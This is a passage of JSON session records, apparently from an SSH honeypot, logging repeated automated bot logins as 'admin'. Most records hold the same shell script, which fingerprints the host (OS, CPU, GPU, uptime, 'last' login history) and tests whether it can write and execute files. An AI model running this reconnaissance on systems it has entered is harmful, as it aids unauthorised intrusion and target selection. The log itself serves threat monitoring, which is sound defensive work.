\"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:45:02.583273+00:00",
  "ended_at": "2026-08-25T02:45:03.371184+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f067ea16-3872-4a73-ab92-63b6cc3b7233",
  "name": "ginger-fierce-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 57886,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:44:17.546184+00:00",
  "ended_at": "2026-08-25T02:44:18.062923+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "628bdbdb-b0f0-4910-9c5e-abf1ffdb8dbc",
  "name": "russet-tawny-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 56276,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:43:32.276679+00:00",
  "ended_at": "2026-08-25T02:43:32.813221+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8b4c865a-b0eb-41d2-b5cd-7741fee7fae5",
  "name": "reedy-sunlit-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 54698,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:42:49.270784+00:00",
  "ended_at": "2026-08-25T02:42:50.147380+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8034b095-7903-4496-93ef-27746e810c60",
  "name": "idle-lunar-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 53092,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:42:06.326104+00:00",
  "ended_at": "2026-08-25T02:42:07.212241+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "41c3df55-ac96-4aba-bb27-a4d2c7118320",
  "name": "blithe-ashen-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 51492,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:41:24.517886+00:00",
  "ended_at": "2026-08-25T02:41:25.024093+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4ef292f9-2c65-4d4c-a818-8e9d22bad455",
  "name": "lunar-steady-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 52688,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T02:40:59.086273+00:00",
  "ended_at": "2026-08-25T02:41:08.811763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "538fc910-94f9-4d45-a769-4579a03ee4e2",
  "name": "mighty-rustic-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 49880,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:40:42.968987+00:00",
  "ended_at": "2026-08-25T02:40:43.409252+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "96592306-ea83-4947-8ed4-ea89a0030a2c",
  "name": "quiet-mindful-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 48274,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
